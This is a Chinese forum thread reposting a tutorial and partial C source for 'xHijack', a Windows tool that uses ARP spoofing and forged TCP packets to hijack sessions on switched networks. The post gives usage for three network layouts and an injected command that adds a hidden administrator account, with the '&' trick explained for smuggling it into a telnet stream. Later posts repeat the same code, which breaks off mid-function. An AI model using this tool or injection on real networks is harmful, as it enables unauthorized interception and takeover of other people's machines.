QQ登录

只需要一步,快速开始

 注册地址  找回密码
查看: 4326|回复: 8
打印 上一主题 下一主题

再谈交换环境下的会话劫持(For windows2000)

[复制链接]
字体大小: 正常 放大
韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

跳转到指定楼层
1#
发表于 2004-11-21 01:44 |只看该作者 |倒序浏览
|招呼Ta 关注Ta
第一步是开启IP Routing的功能,修改注册表
) B1 b" L. V. l$ I# \HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters\IPEnableRouter为0x1,重启系统即可。 + `& l5 ~& k8 s6 |  U# t3 G
第二步是ARP欺骗,具体原理我就不说了。 # f1 X- i3 Y2 |* e: p2 }
第三步就是开始劫持啦。 1 N6 O7 N5 G6 M& d- Y2 [. c) @) [
, |; S8 w$ N6 ?9 z
我写了个程序xHijack可以实现第二、三步功能,使用如下: 5 A* i8 E4 g7 i- m
& D2 O  }9 P: F2 N. S
Usage: xHijack ServerSide ClientSide
# V# ~) C4 q& U% X% L: v7 b2 M# h/ S' ~1 B
下面根据三种不同的情况分别说明如何输入参数: : F/ a+ {; c7 \! r  I; U
<1>服务器、客户端、劫持者处于同一局域网,接在同一交换机上(或交换机级连?)。 . l/ q. p8 ?0 W1 D1 ], ^5 T
假如服务器的IP是192.168.0.2,客户端的IP是192.168.0.3,提供如下参数给xHijack即可 2 A* G" b9 b+ c; p3 E
c:\>xHijack 192.168.0.2 192.168.0.3
  w/ {" H+ Q4 L劫持前数据流程:server <--> client
) j3 A' d/ G, H( s$ g4 y) w0 x劫持后数据流程:server <--> hijacker <--> client
6 k% H2 @' _, Q" g4 T- d6 V
) `2 E8 x% C. P. Y% K0 Y8 J<2>服务器、劫持者处于同一局域网,客户端处于别的网络。
8 ?  V+ |6 l( u假如服务器IP是202.202.202.2,服务器的网关是202.202.202.1,提供如下参数 1 g3 J, y: s4 r0 w! D
xHijack 202.202.202.2 202.202.202.1
! }7 c' Y% x7 h劫持前数据流程:server <--> gw <--> routes <--> client " F% L- z; U% `( L  O/ s  d, F- A
劫持后数据流程:server <--> hijacker <--> gw <--> routes <--> client
, [. x2 R! H7 C% A3 W9 Y8 c. F8 n6 J
<3>客户端、劫持者处于同一局域网,服务器处于别的网络。
2 _2 d) X' Z- F假如客户端的IP是192.168.0.2,网关是192.168.0.1,提供如下参数 / d' Y! ]! n9 Z2 Z( H4 R5 Y; b
xHijack 192.168.0.1 192.168.0.2 * S3 d& F' R" r# }: u
劫持前数据流程:client <--> gw <--> routes <--> server
6 y6 T, I% B. `, [; [劫持后数据流程:client <--> hijacker <--> gw <--> routes <--> server
; [/ L: P! z/ b  z6 o/ I( K# |6 l1 D$ g' Y
输入两个参数后,会提示你选择网卡,然后会提示
6 A* Y' E0 q+ J3 D# o$ kl        <-- List all connections $ [8 v  a. @4 M- M6 B0 @
r x       <-- Reset the number x connection
1 a; |/ p( K: R7 `2 `w x       <-- Watch the number x connection " p3 w* w9 |1 x( d  H
h x command   <-- Hijack the number x connection to execute command 5 I1 S6 _/ i6 Y# j

! t1 U0 d' C$ e1 z  Glist、reset、watch命令我就不解释了。 ; v  w: N9 ^0 I8 d# d
假如现在有如下连接
2 }8 a$ J# I& z- l; |9 {; t(1) 202.202.202.202:23 <--> 192.168.0.3:2345 , q/ E% o: c8 @. t/ {1 t
我们想要劫持这个连接运行我们的命令,输入
7 N/ ~7 n5 U3 M8 y/ a4 vxHijack>h 1 "&net user ey4s hijack /add & net localgroup administrators ey4s /add"
% [9 T3 t- ]3 G5 r" Q, o" ?, K为什么命令前面要加&呢?假如客户刚发送一个字符p过去,我们不加&的话,服务器端接受到的就是
9 R$ l% p5 x3 B' u' Q3 c9 R  f3 }pnet user.....了,加了&后就成为p&net user.....,这样就不管前面客户输入了什么,我们的命令
1 R$ W" D6 @5 ^6 N! r: V9 H都能够运行了。以上都假设服务器是windows 2000,unix下加什么字符,我不知道,我是unix白痴,呵呵。
$ U3 P( K! t5 K2 i! h& t- K; R9 p7 z1 {% X/ E. O( k! T& @8 U
劫持的流程如下: " T; T8 g& n8 \( U0 _5 O5 C
<1>伪装成Server给Client发一个rst包
0 i6 T" Q8 u- y) E1 v<2>伪装成Client给Server发了一个数据包 : o' }5 R* V: Z! s! S- {
<3>Server回一个ACK包给client ! R- A$ w, K1 S% N) t
<4>因为Cleint的连接已经给我们reset掉了,所以client回一个rst包给server
) X4 b  I/ v9 o/ |; @% j6 {; U, }/ q4 ~! e, N6 ~. M* @. q+ E7 R6 ^
这样的话,我们只能发一个伪造的包,但我想已经足够了。 & U( E6 h* @9 @- m: O  u
想要一直劫持那个连接也可以,如下 : @3 R. l3 L8 Q
<1>伪装成Server给Client发一个rst包
3 I# r+ \: O' W( {$ }1 A<2>欺骗Client,告诉它Server的MAC地址AAAAAAAAAAAA $ u9 D% P5 d! S7 k& M/ @' ?
<3>伪装成Client给Server发了一个数据包   m" P! I) V" w# \
<4>Server回一个ACK包给client
* j. i8 i- s$ D0 C. K  T$ C<5>Client回一个rst包给Server,但Server收不到,因为Client发到AAAAAAAAAAAA了,呵呵。 2 j8 l7 H" j) m7 p
<6>然后Server发给Client的包都由我们来处理,包括给Server回ACK包等等。 2 U/ J5 s/ A/ a, Y. V
$ L/ C( ~8 h" Z. r' g& f0 b$ {/ i
不过这样比较危险,在我们劫持的过程中,Client与Server的通讯始终是断开的。
8 m9 d5 X; N) U- v: a4 a% p
  I1 n5 D3 i" Q; u$ @9 S) C" g. \; W8 f, @8 H3 [5 p
刚开始看TCP/IP协议,调程序调得头昏脑涨,说明也写的乱七八糟,呵呵,程序代码也可能存在很多问题, 5 K0 a" ]' f- d5 v' S' \7 y
还请各位多多指点。
4 z; f, n. D  F" F8 `# _/ e
( n/ W$ H3 V4 E! E; dBTW:我没有空间,编译好的程序没地方放:( & G" H% J  Y& w0 f9 Z; \

, J# z( k" Y0 _3 t  H, g
0 \, @  t" D3 p* s4 F6 V6 n8 B; w( A' b1 W" x3 M1 j
参考资料
5 Z/ J0 q; y) i# B% q6 C' f1 T<>交换环境下的会话劫持http://www.xfocus.net/article_view.php?id=375
+ ~8 E/ B4 x2 P' b<>交换网络中的嗅探和ARP欺骗http://www.xfocus.net/article_view.php?id=377   `& M) F8 s- O. H
+ F9 t4 c: G6 @4 |

3 n& i9 ?5 i" [' g( Y% F9 [以下是程序代码
3 h- m. \0 O& j* p4 U) m' |----------------------------------------------------------------------
% |; u! [( H7 c7 ^( N$ ], h/*-----------------------------------------------------------------------------
7 h  ?8 E0 W- ]5 w0 KFile      : xHijack.c 6 |# m" O# O/ y$ U7 n- }' m; T& B
Version      : 1.0
2 k+ s. a, D7 x5 v6 l% z* ]Create at    : 2002/8/12 ) P/ U" w. h  b) x
Last modifed at  : 2002/8/19 , Z$ z5 W- D! }) F0 E( C
Author      : eyas ) p- U! A! {  e) j. y0 y  R
Email      : ey4s@21cn.com
1 d! U. @9 k1 c2 xHomePage    : www.ey4s.org
: x+ ?7 y* U$ J# Y感谢refdom和shotgun发布的源代码,使我获益非浅。 4 s/ K1 h" {8 A# L7 i1 Q( o
If you modify the code, or add more functions, please email me a copy.
( J; N. R: d& G' Y' a* J5 t
2 ]/ h: F( f$ @6 B' r备注:
/ O# s" L" N+ ]) L6 z<>没有考虑IP头、TCP头超过20字节的情况 5 y- C5 p( D" c0 e
<>没有考虑数据包分片的情况
* L' c9 [) F$ M; {/ e" Q1 G9 b<>没有对截取到的TCP数据进行解码,如TELNET,虽然是明文传输,但是TCP数据里面包含了 * f5 a, }. T, g3 q/ f6 b  Q
显示格式、位置等信息,直接打印出来,显得很凌乱。但如果是IRC、SMTP、POP3等就没问 ; g9 V3 C0 F5 a1 M5 \# P
题了。 2 H' ^# s! _1 X: ^0 R8 b# d

: }/ E; H, C: C, a( T$ Z也许下一版本会修正这些问题,也许不会有下一版本了。
4 ]( }- H  {; x# o
7 U0 Z4 M0 V+ J6 v3 o" F3 }" M5 r9 d) z-----------------------------------------------------------------------------*/ : M( O* R" D& P0 h  |
#include 6 n# a4 b- a- ?8 r) Z( |5 B
#include
: V; f8 b- m' z- u* _" g#include % h) r7 ]# U4 H9 C3 W
#include
. N& t# w& x7 b) E6 A8 F#include 2 m  w* [/ ^9 c; g5 Q" v: [
#include
) r- t* @- Q0 V; n3 Y#include
2 v7 `& g* R9 ^0 }: r9 g8 M# M, h7 z" B% ~
#pragma comment (lib, "packet") # I: j: G( C8 `
#pragma comment (lib, "iphlpapi")
' v  Q( k: Z+ i#pragma comment (lib, "ws2_32") * }/ d2 @" R4 v* p1 f- K0 ]* q

. F5 P4 R  B1 w+ v6 O#define Max_Num_Adapter 10 ; u0 {. l* ^  e4 ^2 u( B& p
#define Max_Num_IPAddr  5 9 u) J  }1 o1 O! e
#define EPT_IP      0x0800      /* type: IP  */
- a, m) C& F- ]; O8 }#define ARP_HARDWARE  0x0001      /* Dummy type for 802.3 frames */
/ C$ L- Q$ Q" F7 j9 b#define EPT_ARP      0x0806      /* type: ARP */
6 B! c; C0 ]* A( Q; {( j
5 w& _& Y3 P: [0 I5 g#define  ACTION_NONE    0
1 e, z& V- l5 ]+ ^7 Q1 Z#define  ACTION_WATCH  1
# W  _6 ~5 b% N* w9 x#define  ACTION_RESET  2 % r/ l2 N/ V0 k( H
#define ACTION_HIJACK  3 ! ~' v' a6 W1 W( q& U$ u
/ S2 ~1 F& Q4 ^: X
/*以1字节对齐*/ ' d8 S8 E, P+ h  B/ h/ f
#pragma pack(1)
8 k6 h+ U- r! l- d. h. A& P0 Dtypedef struct _ehhdr
7 r# k7 l: Z: r$ P{ ( W$ x% ~( I1 x7 E' }
  unsigned char  DestMAC[6];
. Z/ x/ {( }; Y7 o+ y0 _  unsigned char  SourceMAC[6];
% E6 z0 C* f( H6 w3 l' h$ k& O  unsigned short  EthernetType; ; C, O3 X# ?5 P! m9 o/ W) ~
}EHHDR, *PEHHDR; - H5 ?- }. V) y

# V# X" P+ ]- w, ~typedef struct _iphdr        //定义IP首部
0 s! H! a# z4 n2 @% j! A{ 4 p8 D( ~3 _! d: E; Z0 \( P+ A
  unsigned char h_verlen;      //4位首部长度,4位IP版本号
2 q' A) j) U1 S  Z6 P+ }( l  unsigned char tos;        //8位服务类型TOS 4 F( k5 |9 G3 h! G) N4 k: f1 w. N# p
  unsigned short total_len;    //16位总长度(字节)
+ O3 E9 i; I% d8 P  unsigned short ident;      //16位标识
: [* _" m5 {/ z1 J/ C1 n% ?: E3 L  unsigned short frag_and_flags;  //3位标志位 , u/ G% L) @: g+ n' W
  unsigned char ttl;        //8位生存时间 TTL , w( G. t% x0 J+ t( _: X
  unsigned char proto;      //8位协议 (TCP, UDP 或其他) & ?) ?% U3 O# M: o) c# H& W
  unsigned short checksum;    //16位IP首部校验和
3 B# I3 m  {9 ^. E  unsigned int sourceIP;      //32位源IP地址
% _# ~3 J: W8 k" o1 q, t% z) ]: W  unsigned int destIP;      //32位目的IP地址
1 X3 F  G- ?2 c/ u% U2 h& \" y4 b}IPHDR, *PIPHDR;   K& Y9 G: t* ~9 l+ ]: Q
+ ^2 F3 l0 K) r
typedef struct _tcphdr        //定义TCP首部
6 H2 f& O3 c% a- [{ 0 v  j3 M) h: R. B0 h5 Y
  USHORT th_sport;        //16位源端口 ( b8 V0 Q, q  |* v& Q& d
  USHORT th_dport;        //16位目的端口 / A8 c& T0 E; Z
  unsigned int th_seq;      //32位序列号
9 J* k  `! ~8 |% E  unsigned int th_ack;      //32位确认号
6 i' V2 m. m$ |5 U+ u  unsigned char th_lenres;    //4位首部长度/6位保留字 6 E& Q0 L  N' n% \2 y+ g/ U3 j" m2 d
  unsigned char th_flag;      //6位标志位 " v  u" w2 H9 e4 {% ^6 I) u
  USHORT th_win;          //16位窗口大小 5 O- L- ]2 I7 [5 s; v
  USHORT th_sum;          //16位校验和 & ^/ g9 {" F% ?- V0 w* _
  USHORT th_urp;          //16位紧急数据偏移量
9 |6 P! c& o8 W9 i}TCPHDR, *PTCPHDR;
5 S4 B' r7 [6 B2 E  u) x* Z) X( `2 W; h
typedef struct _psdhdr        //定义TCP pseudo header 5 X/ J1 Y+ F! N# j8 ?* r
{               3 K9 A$ x$ a) f" @1 e4 s
  unsigned long saddr;
5 `) z! {0 p$ X3 d& R  h5 ?; w. x  unsigned long daddr; ! d; ]3 `8 o" m# Z
  char mbz;
* p; B" D; @/ e  char ptcl; ; F) d: ?9 n* \
  unsigned short tcpl; - u% H) F7 M$ p0 o
}PSDHDR, *PPSDHDR;
; m) k: p# a8 w- G
# J) l/ A4 Q  |0 v6 o. btypedef struct _arphdr . ~4 `2 ?+ u4 B( [% ~: G4 U7 O& T, S
{ ) ?+ e7 @/ a0 H! Q0 M7 q% V8 S
  unsigned short  HrdType;//硬件类型 & ~2 [: z0 ]( Q6 ~/ K
  unsigned short  ProType;//协议类型
" A' q( ?$ s$ v6 A& c  {1 [7 C  unsigned char  HrdAddrlen;//硬件地址长度 & C+ ]6 u" x: `* _! g/ n# R* a
  unsigned char  ProAddrLen;//协议地址长度
) ?" v- v# w. X, z  unsigned short  op;//operation
9 P# t1 d6 N' E( \3 |  unsigned char  SourceMAC[6];/* sender hardware address */ 8 f+ |! o. U- B
  unsigned long  SourceIP;/* sender protocol address */ 6 [+ ^; o8 M4 Q" C
  unsigned char  DestMAC[6];/* target hardware address */ / E& H4 e9 T: L6 E
  unsigned long  DestIP;/* target protocol address */ 6 q: Y2 I% t/ s6 g, x( y5 z" d
}ARPHDR, *PARPHDR; . \: W% z: y" R
3 ^1 B& q& f' {
typedef struct _ArpPacket - Q" q" k9 C! D$ W7 ?2 v
{ 6 m" N8 }1 j% i/ p
  EHHDR  ehhdr; 5 K' f) F6 Q% J+ N+ k
  ARPHDR  arphdr;
+ j# o8 @! A" C+ C3 b}ARPPACKET, *PARPPACKET; 0 p* w( `, c2 E  @
: z& }6 u( _/ z. w5 D
typedef struct _tcppacket 5 J+ Z; m/ e0 g. i0 @9 V
{ # |6 d. U- _' L. l- z. R6 [  G
  EHHDR  ehhdr;
; d( y/ H& U& K! C; R4 f  IPHDR  iphdr; 4 p. T2 \: ]  ^7 a$ Z8 P5 F! i
  TCPHDR  tcphdr; & m1 [( m. _) w4 Z* X* f* r
}TCPPACKET, *PTCPPACKET;
# K6 w$ k% b2 Z# }% [5 K) Z8 w
! h. {, x( G; K  Ttypedef struct _conninfo
: Y  F, O1 N; ^$ G/ s" ]$ t{
# D2 y9 e- J9 I  DWORD  dwServerIP; 4 R6 I( \& k2 A$ r  }
  USHORT  uServerPort; ( p/ U7 U0 K- [; V4 h  z
  DWORD  dwClientIP; % M" f/ p+ c: S" |1 {& u6 |, A- e
  USHORT  uClientPort;
- R- C. _: n; D  u  DWORD  ident;//标识
( g' l5 [* Y3 C  BOOL  bActive;
) p3 V$ {% s4 K) m4 m  struct  _conninfo  *Next;
1 G- z4 D( v! r  h! M: @( e}CONNINFO, *PCONNINFO;
3 [/ g! p. P- N3 u' \2 ], R. f! X' `1 }# P' T
//定义全局变量
zan
转播转播0 分享淘帖0 分享分享0 收藏收藏0 支持支持0 反对反对0 微信微信
韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

unsigned int  g_ServerSideIP,
1 ~2 O2 |2 F# X" S        g_ClientSideIP, 0 w& m: u4 T* M1 J) o) p
        g_OwnIP[Max_Num_IPAddr],//本机IP地址列表
* G6 Y  I& P/ H' E4 g8 F  r( D' h        g_TotalIP = 0;//
2 ^. C+ a* Y' r4 ~6 |/ b7 }) a" Runsigned char  g_szOwnMAC[6];//本机MAC地址 , r+ V: _3 |5 _
unsigned char  g_szClientSideMAC[6];
; r0 p4 t6 i! p- `; bunsigned char  g_szServerSideMAC[6]; ) r8 h) O" Y1 E( O1 b
char      g_szTcpFlag[6] = {'F','S','R','P','A','U'};//TCP标志位   K. f; T! X' V# V- q
LPADAPTER    g_lpAdapter;
* _# {9 C  n. s, F& P' X$ o//1 and 2 is arp spoof thread, 3 is recv packets thread, 4 is interface thread $ _) ?1 A1 i0 B3 Q* V
HANDLE      g_hThread[4];
: _4 W& T' U  z+ ?) vchar      g_szCommand[128];//command to execute after hijack 9 u' C& y8 z# ^/ H% Y) I* [
DWORD      g_dwAction;//action type
  m, F& l9 B$ B5 cDWORD      g_dwCtrlConn;//action 所控制连接的标识 " U8 q. Q9 F8 v4 z% s5 p
DWORD      g_ident;//节点标识,递增
7 r0 h1 i8 }' zPCONNINFO    g_pCurrCtrlConn = NULL,//action当前所控制的连接的信息结构指针 6 W- c8 r. \4 q7 Q7 K$ S
        g_pConnHead = NULL, ; O$ _8 Z* R( x1 E! D, B8 k4 J2 t
        g_pConnLast = NULL;
* D9 n& Y* O& Q& C% Q& R4 ~char      g_szSendPacketBuf[1514]; ; s7 {: ?8 ]' V& E! \
LPPACKET    g_lpSendPacket; ; z2 p( n( A2 a7 o0 x
//函数
) O4 O1 K; I; Zvoid      usage(void); 3 M7 l1 ~* K# {8 X, O
void      ShowPacketMoreInfo(PTCPPACKET, USHORT, BOOL); ' D7 d9 D3 O3 C" Q' T3 Z. U3 W6 I: f' K2 T
void      ListAllConnection();//列出当前所有的连接 * A6 s7 [) H3 G, B, ]
void      ResetActionAllFlag();
+ y6 I# g, D9 l4 C2 _USHORT      checksum(USHORT *, int); 7 c6 b5 a. U( E4 k9 H6 a2 @0 }
BOOL      GetMACAddr(DWORD DestIP, char *pMAC);//取得目标IP的MAC地址 4 N4 A6 H; h4 Z- w
BOOL      IsACKPacket(unsigned char);//判断是不是一个纯ack包 2 u- `; n" i6 b" g- Z! g
LPADAPTER    InitAdapter();//初始化一些参数和全局变量
6 x) K7 m8 k& v: Q+ ?BOOL      SendRstPacket(unsigned int, unsigned int);//伪装成server给cilent发送rst包
  R) X, o- [2 o. s% xBOOL      SendHiJackPacket(PTCPPACKET);//伪装成client给server发送我们的包 1 s2 Z) u3 ~& K0 g3 ]$ Y
DWORD      GetConnNum(char *, DWORD, DWORD *); * Q2 T* h$ p1 x% n) |
DWORD      CtrlConnInfoLink(DWORD, USHORT, DWORD, USHORT, BOOL, BOOL);
$ ^  ?& `! y5 R0 i  Q4 bDWORD  WINAPI  ArpSpoofThread(LPVOID);//进行arp欺骗的函数 1 T! u0 m' k4 ~1 X- }
DWORD  WINAPI  AnalysePacketsThread(LPVOID);//分析处理接收到的包 $ N/ r" H- P: ~' a
DWORD  WINAPI  InterfaceThread(LPVOID);//
% ~3 [$ w, k9 oBOOL  WINAPI  CtrlEvent(DWORD); # B$ M  U5 R9 p3 R% N' v0 G; r' S

: V* @5 Y# K, \/ A
. w) c1 [, y+ P
7 {/ j$ _0 l, eint main(int argc, char **argv) 3 c! N$ O& r7 D" [
{
0 D' M: V% c. x6 |4 I* g  struct    bpf_stat stat;
0 V7 U. |  `1 I; Q# w  int      i; , N1 i  f; A5 e5 |
( I5 i" n+ M. R- U
  usage(); 5 a  r( @1 c- I
  if (argc != 3) return 0; $ y, Y. d: ]( f! @
  //取得参数
. r4 `) Z7 x4 |0 N  g_ServerSideIP = inet_addr(argv[1]);
6 h2 c+ z4 j$ x: L" I  g_ClientSideIP = inet_addr(argv[2]);
2 Q/ c; J! K% w  X  //初始化adapter & 一些全局变量
" K0 i4 w: e4 x  g_lpAdapter = InitAdapter();
1 }, z7 ?$ W7 n, W6 \8 e  if(!g_lpAdapter) return 0;
( B5 [. j4 x  _) \! K, K" q  //get ServerSide MAC & ClientSide MAC ; E# B$ q* g; m  |
  if(!GetMACAddr(g_ServerSideIP, g_szServerSideMAC)) return 0;
3 p- |& r% L  {. g- }/ p  if(!GetMACAddr(g_ClientSideIP, g_szClientSideMAC)) return 0;
1 D$ a+ y2 j  i/ L- W  //create arp spoof thread     # b7 F* U% ?" ]/ Y9 _
  i = 1; 7 U- K' j, Y+ k8 E( Y. k
  g_hThread[0] = CreateThread(NULL, 0, ArpSpoofThread, &i, 0, 0); 4 f' V7 Q( U2 Y+ k" _7 ~
  Sleep(500);
1 s8 `( g9 i8 p; P  i = 2; ( m3 ?7 T" C# h* T
  g_hThread[1] = CreateThread(NULL, 0, ArpSpoofThread, &i, 0, 0); ) I4 Y  X. K  }6 {+ H
  //create analyse packet thread 8 p% y4 x4 }, N+ m0 U
  g_hThread[2] = CreateThread(0, 0, AnalysePacketsThread, NULL, 0, 0); 5 \$ S8 |# |$ H9 s
  //create interface thread
- w, Y6 K: _1 k  g_hThread[3] = CreateThread(0, 0, InterfaceThread, NULL, 0, 0); " J, I! D. W$ M/ e, H" S+ s
  //set console ctrl handle 9 _# ]7 H( K0 v  n
  if(!SetConsoleCtrlHandler(CtrlEvent, TRUE)) ; b; A- a0 F0 B& |9 b
  { - r' h& t' O( M1 A5 N* L
    printf("SetConsoleCtrlHandler error:%d\n", GetLastError());
' F; `9 P5 ~* O' B2 \- Z" ~    return 0;
" l6 c! L$ m0 O/ g" S# k2 F3 `  }
/ t  m. `& t  q  //wait for any thread exit : j& u. b  ]+ ]7 ]  I- K$ Q
  WaitForMultipleObjects(4, g_hThread, FALSE, INFINITE); 1 W4 A3 p0 B+ i0 r
  //print the capture statistics 7 J( ^/ V# o" m3 `8 p3 P
  if(PacketGetStats(g_lpAdapter, &stat) == FALSE)
( e: A$ b7 A- Y  ?5 }    printf("Warning: unable to get stats from the kernel!\n"); $ F  M# y% v2 u$ m( @
  else $ N3 a4 J& ?5 o; ^* A( b4 P
    printf("\n\n%d packets received.\n%d Packets lost\n",stat.bs_recv,stat.bs_drop);
5 @/ k- J8 }) F- r' J+ i' I  //free resource   
% Z/ C0 g, s- S( L# ^/ k' k0 ^  PacketFreePacket(g_lpSendPacket); ' Z# t4 K8 j1 e2 X
  PacketCloseAdapter(g_lpAdapter); # N) z8 v% [' I6 y, S3 b2 k# H' V
  return 0;
8 k! t, ~5 P* o  W( c}
+ `& E1 `' l: y. i5 Q, v& Z" o+ [% W& j
# `: ?' i) j4 W# u1 F7 ^/ n// ; S" ?, q( |  \) W
//功能:重置所有于ACTION有关的标志
% [7 l$ b# Q' k8 O//
回复

使用道具 举报

韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

unsigned int  g_ServerSideIP, 6 j) w( o) A/ m4 P$ S4 u0 ~8 z
        g_ClientSideIP,
+ ]# E' b5 a; {8 _        g_OwnIP[Max_Num_IPAddr],//本机IP地址列表 * g+ @9 J& w0 O% ?
        g_TotalIP = 0;// " \* s7 h( M, {$ h$ Z
unsigned char  g_szOwnMAC[6];//本机MAC地址 2 o6 w+ I  u; J( I7 P
unsigned char  g_szClientSideMAC[6];
, K  @1 d! d  D& Iunsigned char  g_szServerSideMAC[6]; 6 I  l+ |3 ]/ c
char      g_szTcpFlag[6] = {'F','S','R','P','A','U'};//TCP标志位
1 Q$ r) l- X5 J" N9 CLPADAPTER    g_lpAdapter; : Q8 Z" k" D* I2 X8 N, M2 w9 a
//1 and 2 is arp spoof thread, 3 is recv packets thread, 4 is interface thread
$ S9 M) X- Q) V  p/ ^HANDLE      g_hThread[4];
9 d" i  O: n. J: ]3 x2 t, Vchar      g_szCommand[128];//command to execute after hijack ) x2 T7 L) h. W$ R. ~
DWORD      g_dwAction;//action type
; I& {$ Y8 y  t" D% D6 [DWORD      g_dwCtrlConn;//action 所控制连接的标识
7 z* y! V9 U' i" @9 u: @% V9 {DWORD      g_ident;//节点标识,递增
, R0 m+ Z! u$ [' u% j' J: kPCONNINFO    g_pCurrCtrlConn = NULL,//action当前所控制的连接的信息结构指针
3 w' B% D$ b. }+ L        g_pConnHead = NULL, 6 ]* B2 S5 ~' [4 Y. a* H. B+ L
        g_pConnLast = NULL; * K. H: ^. H, A) t- D1 `& x
char      g_szSendPacketBuf[1514];
. w. V" x2 `* [- P$ Y. S" G' F* pLPPACKET    g_lpSendPacket; 4 `& ^9 |3 k: ?; l5 ?
//函数 0 o, _" }" ~$ i- w& P0 D, r7 e
void      usage(void);
6 v9 {9 I, t8 `: }; S$ Fvoid      ShowPacketMoreInfo(PTCPPACKET, USHORT, BOOL);
% u( f+ F: ^& c+ jvoid      ListAllConnection();//列出当前所有的连接 : s% U# x' e; ?2 V
void      ResetActionAllFlag();
# L: ~) t$ a. Q) |9 d/ m3 wUSHORT      checksum(USHORT *, int); 2 K8 A8 s6 }" X0 |  s2 L. b; ~
BOOL      GetMACAddr(DWORD DestIP, char *pMAC);//取得目标IP的MAC地址
% M+ E8 F( N! J, |& Z& j2 a9 [* ~BOOL      IsACKPacket(unsigned char);//判断是不是一个纯ack包
! O8 j$ a5 H1 D$ L# C" D- \) BLPADAPTER    InitAdapter();//初始化一些参数和全局变量   K# Y; z3 m4 q8 w2 b# b* l& [
BOOL      SendRstPacket(unsigned int, unsigned int);//伪装成server给cilent发送rst包
# S  R2 D5 ^: O8 F8 TBOOL      SendHiJackPacket(PTCPPACKET);//伪装成client给server发送我们的包   m# g# ^4 ~* Y. u: k# D8 y
DWORD      GetConnNum(char *, DWORD, DWORD *); * L  l# R9 j7 j. W
DWORD      CtrlConnInfoLink(DWORD, USHORT, DWORD, USHORT, BOOL, BOOL);
8 n+ k5 K2 ?# J  K. CDWORD  WINAPI  ArpSpoofThread(LPVOID);//进行arp欺骗的函数
& e4 X$ k/ @0 sDWORD  WINAPI  AnalysePacketsThread(LPVOID);//分析处理接收到的包
5 l8 A) V! B7 _, x% v& CDWORD  WINAPI  InterfaceThread(LPVOID);//
9 q8 d. q' K) ~; S4 R( M; qBOOL  WINAPI  CtrlEvent(DWORD); 8 c$ ?8 W3 Y! y8 A& I. U; N  \
, ~! }) W) u- o; B" k( b3 Y$ x& [

* {; {" n, t9 a8 N" B7 r( ^  ]
0 Z; t7 Y, I+ S! \" m0 Cint main(int argc, char **argv)
- H1 X' u: O8 m$ v9 t. R{ 0 H1 i+ a, t' p  H2 n
  struct    bpf_stat stat;
" n3 e2 c$ }) B  int      i;
" o1 B/ p/ y1 O! J6 K0 o, W
& n6 K* e# q. B) E! R  usage();
5 J2 U- [; p+ j/ b  if (argc != 3) return 0;
, Z7 [3 `! N; f- n* o# x8 i  //取得参数
$ t* ~9 M3 |& s( V7 e  g_ServerSideIP = inet_addr(argv[1]);
6 x; e5 I" K1 g6 h/ y6 P- F5 F! u  g_ClientSideIP = inet_addr(argv[2]); & W% X+ x1 \) h. N6 w
  //初始化adapter & 一些全局变量 ( }& {5 z! }0 B/ O! V# Q
  g_lpAdapter = InitAdapter();
0 `* S. Q( [$ @  O6 z. Y; t5 Q  if(!g_lpAdapter) return 0; 7 f; `# ]& y6 m' W: l
  //get ServerSide MAC & ClientSide MAC
1 y) u4 W$ U+ A, Q- [7 J' G  if(!GetMACAddr(g_ServerSideIP, g_szServerSideMAC)) return 0;
# j4 Z, R. A/ t9 h" o2 G  if(!GetMACAddr(g_ClientSideIP, g_szClientSideMAC)) return 0;
" n- x" h% \' y& U  //create arp spoof thread     * J  o0 Q. F' m" U( S* d5 r8 C7 H# `
  i = 1;
8 J' ^; I  t( I0 h  Z5 y  g_hThread[0] = CreateThread(NULL, 0, ArpSpoofThread, &i, 0, 0); - X; U7 b0 i# }- l' ~% F. @  F
  Sleep(500);
# x$ K0 Q% g2 |. M  i = 2;
8 Z/ U0 O1 s) W- J# }# e  g_hThread[1] = CreateThread(NULL, 0, ArpSpoofThread, &i, 0, 0); ! _' ?% j/ `+ ]3 r# M
  //create analyse packet thread ) k  \* l. D+ O& d8 W
  g_hThread[2] = CreateThread(0, 0, AnalysePacketsThread, NULL, 0, 0);
" y& W0 _7 A. V' X  //create interface thread
1 i; ?* e2 E" Y9 r7 c5 Z# m) M( Z  g_hThread[3] = CreateThread(0, 0, InterfaceThread, NULL, 0, 0);
6 V7 r- |4 _' c. @, y4 `+ s+ F  //set console ctrl handle , W- q0 x$ w2 F1 d( L
  if(!SetConsoleCtrlHandler(CtrlEvent, TRUE))
# B- m" t) d9 N1 q# B  { . y9 G9 |! [* i! l% h& @9 m  M3 D
    printf("SetConsoleCtrlHandler error:%d\n", GetLastError()); : E! }+ b6 o0 G# A
    return 0;
, s' l4 x: z/ c3 k# V) Y3 a, N9 {! k  }
4 e8 e% M* a# A. M" A( b( C& X  //wait for any thread exit : q. ]* Q- [9 c" G) N4 _& }1 e
  WaitForMultipleObjects(4, g_hThread, FALSE, INFINITE); * m. \7 M; P5 l7 B' a& y
  //print the capture statistics + G& t: ^' r; G! d
  if(PacketGetStats(g_lpAdapter, &stat) == FALSE) 5 [& F. s& s& q8 V7 k% \( Y
    printf("Warning: unable to get stats from the kernel!\n");
2 j# Z4 ^9 T- }) P& Q( @  else
  ?8 k( t# g2 [8 R, o    printf("\n\n%d packets received.\n%d Packets lost\n",stat.bs_recv,stat.bs_drop); + ~5 T# r+ Q4 T/ G
  //free resource   
- l4 c! e7 n; Z; [* d  PacketFreePacket(g_lpSendPacket);
' S6 B# `4 h; N& Z( r0 C0 @# B  PacketCloseAdapter(g_lpAdapter);
& @9 C$ |! a/ k0 z2 q% M3 @+ _  return 0; ) {* ^8 s. S6 G9 ^/ Q; Z" X
}
3 z8 R. j+ _  o( i' T8 M% T! _
' V; r) H% I: n5 ~9 B# Y//
' t7 U& B3 k& o/ G; o. Y//功能:重置所有于ACTION有关的标志 9 F$ d+ N, \2 u: d7 n  _% E, ?
//
回复

使用道具 举报

韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

void ResetActionAllFlag() 3 w+ s7 M1 `2 J( p+ [. b
{ 0 h- d' J6 k- p
  g_dwCtrlConn = 0;
& i" p# X8 Q2 Y3 |  g_pCurrCtrlConn = NULL;
